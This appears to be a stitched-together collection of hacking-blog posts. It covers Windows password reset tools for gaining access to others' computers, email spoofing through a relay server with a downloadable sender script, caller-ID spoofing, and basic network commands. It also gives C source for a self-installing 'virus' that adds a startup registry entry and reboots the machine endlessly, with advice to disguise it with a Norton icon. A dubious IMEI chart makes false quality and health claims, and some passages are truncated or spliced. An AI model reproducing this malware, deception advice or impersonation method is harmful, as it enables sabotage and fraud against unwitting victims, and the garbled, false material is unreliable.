How to Hack Windows Administrator Password

This hack will show you how to reset Windows administrator password (for Win 2000, XP, Vista and Win 7) at times when you forget it or when you want to gain access to a computer for which you do not know the password.
Most of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to login to the computer. So here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer. You can do this with a small tool called  Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features.
  • You do not need to know the old password to set a new one
  • Will detect and offer to unlock locked or disabled out user accounts!
  • There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing.
 

How it works?

 
Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence it is necessary that you need to boot off your computer and access this sam file via boot. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.
The download link for both CD and floppy drives along with the complete instructions is given below
It is recommended that you download the CD version of the tool since floppy drive is outdated and doesn’t exist in today’s computer. Once you download you’ll get a bootable image which you need to burn it onto your CD. Now boot your computer from this CD and follow the screen instructions to reset the password.
 

Another simple way to reset non-administrator account passwords

 
Here is another simple way through which you can reset the password of any non-administrator accounts. The only requirement for this is that you need to have administrator privileges. Here is a step-by-step instruction to accomplish this task.
1. Open the command prompt (Start->Run->type cmd->Enter)
2. Now type net user and hit Enter
3. Now the system will show you a list of user accounts on the computer. Say for example you need to reset the password of the account by name John, then do as follows
4. Type net user John * and hit Enter. Now the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.
So in this way you can reset the password of any Windows account at times when you forget it so that you need not re-install your OS for any reason. I hope this helps.

2. Open the Resource Hacker Tool.
3. Go to File menu and click on Open. Now load the file “explorer.exe” into the Resource Hacker.
4. Expand Bitmap branch in the left pane.
5. Now expand 6801 option, right-click on 1033 and select Replace Resource option.
6. A new window appears. Click on Open file with new bitmap button.
7. Navigate to the customized (.bmp) image, open it and click on Replace button.
8.  Repeat steps 4 to 7 above for the options 6805 and 6809 as well.
Resource Hacker
9. Now click on Save option (File->Save). Resource Hacker will automatically create a backup file calledexplorer_original.exe so that you can restore it in the future if needed.
10. Log Off and Log On to see the changes in effect.
NOTE: If you are running 64-bit edition of Windows 7, then you need to use Resource Hacker version 3.5.2 beta which is 64-bit compatible. It is available from the same link provided above.
I hope you enjoy this trick. Pass your comments and share your experience.

How to Send Anonymous Emails

Most of us are very curious to know a method to send anonymous emails to our friends for fun. But the question is, is it possible to send anonymous emails in spite of the advanced spam filtering technology adopted by email service provides like Gmail, Yahoo etc? The answer is YES, it is still possible to bypass their spam filters and send anonymous emails to your friends. For example, you can send an email to your friend with the following sender details.
From: Bill Gates <billg@microsoft.com>
The art of sending this kind emails is known as Email Spoofing.  This method used to work successfully in the past, but today it has a very low success rate since Gmail and Yahoo(all major email service providers) blocks the emails that are sent directly from a PC. In this post I have come up with a new way to send anonymous emails (spoofed emails) that has 100% success rate. If you have to successfully send an anonymous email or spoofed email, you should send it using a relay server.
 
What is a Relay Server?
In simple words, a relay server is an SMTP Server that is trusted by Google or Yahoo as an authorised sender of the email. So, when you send an email using a relay server, the email service providers like Yahoo and Gmail blindly accept the emails and deliver it to the inbox of the recipient. If the SMTP server is not authorised, Google and Yahoo will reject all the emails sent from this SMTP server. This is the reason for which using our own SMTP server to send emails fail. 
 
So What’s Next?
Now all we have to do is, find a trusted SMTP server to Send Spoofed Emails. Usually all the emails that are sent from web hosting providers are trusted and authorised. So, you have to find a free web hosting provider that allows you to send emails. But, most of the free Web Hosts disable the Mail feature and do not allow the users to send emails. This is done just to avoid spamming. However all the paid hosting plans allow you to send any number of emails. Once you find a hosting service that allows to send emails from their servers, it’s just a cakewalk to send anonymous emails. All we have to do is just modify the email headers to insert the spoofed From address field into it.
I have created a PHP script that allows you to send emails from any name and email address of your choice. Here is a step-by-step procedure to setup your own Anonymous Email Sender Script
 
1. Goto X10 Hosting  and register a new account.
2. Download my Anonymous Email Sender Script (sendmail.rar).
3. Login to your FreeWebHostingArea Account and click on File Manager.
4. Upload the sendmail.php, pngimg.php and bg1.PNG files to the server.
5. Set permissions for sendmail.php, pngimg.php and bg1.PNG to 777.
6. Now type the following URL
http://yoursite.x10hosting.com/sendmail.php
NOTE: yoursite must be substituted by the name of the subdomain that you have chosen during the registration process.
7. Use the script to send Anonymous Emails. Enjoy!!!
Tell me whether it worked or not. Please pass your comments…

Windows IP Utilities

The following are the IP utilities available in Windows that help in finding out the information about IP Hosts and domains. These are the basic IP Hacking Commands that everyone must know!
Please note that the the term Host used in this article can also be assumed as a Website for simple understanding purpose.
1. PING
PING is a simple application (command) used to determine whether a host is online and available. PING command sends one or more ICMP Echo messages to a specified host requesting a reply. The receiver (Target Host) responds to this ICMP Echo message and returns it back to the sender. This confirms that the Host is online and available. Otherwise the host is said to be unavailable.
Syntax:
C:\>ping gohacking.com
 
2. TELNET
Telnet command is used to connect to a desired host on a specified port number. For example
Syntax:
C:\>telnet yahoo.com 25
C:\>telnet yahoo.com
 
NOTE: The default port number is 23. When the port number is not specified the default number is assumed.
Telnet Hacking is explained in detail in the following post.

3. NSLOOKUP
Many times we think about finding out the IP address of a given site. Say for example google.com, yahoo.com, microsoft.com etc. But how to do this? For this there are some websites that can be used to find out the IP address of a given site. But in Windows we have an inbuilt tool to do this job for us. It isnslookup. Yes this tool can be used for resolving a given domain name into it’s IP address (determine the IP of a given site name). Not only this it can also be used for reverse IP lookup. That is if the IP address is given it determines the corresponding domain name for that IP address.
Syntax:
C:\>nslookup google.com
 
4. NETSTAT
The netstat command can be used to display the current TCP/IP network connections. For example the following netstat command displays all connections and their corresponding listening port numbers.
Eg: C:\>netstat -a
 
This command can be used to determine the IP address/Host names of all the applications connected to your computer. If a hacker is connected to your system even the hacker’s IP is displayed. So the netstat command can be used to get an idea of all the active connections to a given system.

Is your Nokia Cell Phone Original

Nokia is one of the largest selling phones across the globe. Most of us own a Nokia phone but are unaware of it’s originality. Are you keen to know whether your Nokia mobile phone is original or not? Then you are in the right place and this information is specially meant for you. Your phones IMEI (International Mobile Equipment Identity) number confirms your phone’s originality.
Press the following on your mobile *#06# to see your Phone’s IMEInumber(serial number).
Then check the 7th and 8th numbers
Phone serial no. x x x x x x ? ? x x x x x x x

IF the Seventh & Eighth digits of your cell phone are 02 or 20 this means your cell phone was assembled in Emirates which is very Bad quality
IF the Seventh & Eighth digits of your cell phone are 08 or 80 this means your cell phone was manufactured in Germany which is fair quality
IF the Seventh & Eighth digits of your cell phone are 01 or 10 this means your cell phone was manufactured in Finland which is very Good
IF the Seventh & Eighth digits of your cell phone are 00 this means your cell phone was manufactured in original factory which is the best Mobile Quality
IF the Seventh & Eighth digits of your cell phone are 13 this means your cell phone was assembled in Azerbaijan which is very Bad quality and also dangerous for your health

How to Spoof Caller ID – Caller ID Spoofing

Caller ID spoofing is the act of making the telephone network to display any desired (Fake) number on the recipient’s Caller ID display unit instead of the original number. The Caller ID spoofing can make a call appear to have come from any phone number that the caller wishes.
Have you ever wondered how to perform Caller ID spoofing? Read on to know more information on Caller ID spoofing and find out how it is performed.
Unlike what most people think, an incoming call may not be from the number that is displayed on the Caller ID display unit. Because of the high trust that the people have in the Caller ID system, it is possible for the caller to easily fool them and make them believe that the number displayed on the Caller ID display is real. This is all possible through Caller ID spoofing.
 

How to Spoof Caller ID?

 
You can easily spoof any Caller ID using services like SpoofCard. In order to use the spoofcard service, you need to pay in advance and obtain a PIN (Personal Identification Number) which grants access to make a call using the Caller ID spoofing service. Once you have purchased the service, you will be given access to login to your SpoofCard account. To begin with, you need to call the number given by SpoofCard and enter the PIN. Now you will be given access to enter the number you wish to call and the number you wish to appear as the Caller ID. Once you select the options and initiate the calling process, the call is bridged and the person on the other end receives your call. The receiver would normally assume that the call was coming from a different phone number ie: the spoofed number chosen by you - thus tricking the receiver into thinking that the call was coming from a different individual or organization than the caller’s. In this way it is just a cakewalk to spoof Caller ID and trick the receiver on the other end. Thus you neither need to be a computer expert nor have any technical knowledge to perform Caller ID spoofing. For more information on SpoofCard service visit the following link.
 

 

How Caller ID Spoofing works?

 
Caller ID spoofing is done through various methods and using different technologies. The most commonly used technologies to spoof Caller ID is VOIP (Voice Over IP) and PRI (Primary Rate Interface) lines.
Today most VOIP systems provide an option for it’s users to enter whatever number they want in the calling party field and this number is sent out when they make a call. Hence it is easily possible for any user to spoof Caller ID provided they have a VOIP system and know how to properly configure it to spoof the Caller ID. However sites like SpoofCard provide an easy and cheap spoofing services for those who aren’t using VOIP systems that they can configure themselves.
Caller ID spoofing is possible and being performed right from the days Called ID system was introduced. However most people are unaware of the fact that it is possible to spoof  Caller ID and make any number to be displayed on the receiver’s end. In the past, Caller ID spoofing service was mostly used by telemarketers, collection agencies, law-enforcement officials, and private investigators but today it is available to any Internet user who wish to perform Caller ID spoofing.

A Virus Program to Restart the Computer at Every Startup

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing,none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.
Here is the source code.
#include
#include
#include
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{

return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);

exit(0);
}
void main()
{

self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)

Compiling The Scource Code Into Executable Virus.
 
1. Download the Source Code Here
2. The downloaded file will be Sysres.C
3. For step-by-step compilation guide, refer my post How to compile C Programs.
 
Testing And Removing The Virus From Your PC
 
You can compile and test this virus on your own PC without any fear. To test, just doubleclick thesysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.
 
1. Reboot your computer in the SAFE MODE
2. Goto
X:\Windows\System
(X can be C,D,E or F)
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

 There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.
 
Logic Behind The Working Of The Virus
 
If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.
 
LOGIC:
 
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) intoX:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.
 
AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)
 
After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of thisSysres.exe file into any other ICON that is more trusted and looks attractive.
For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.
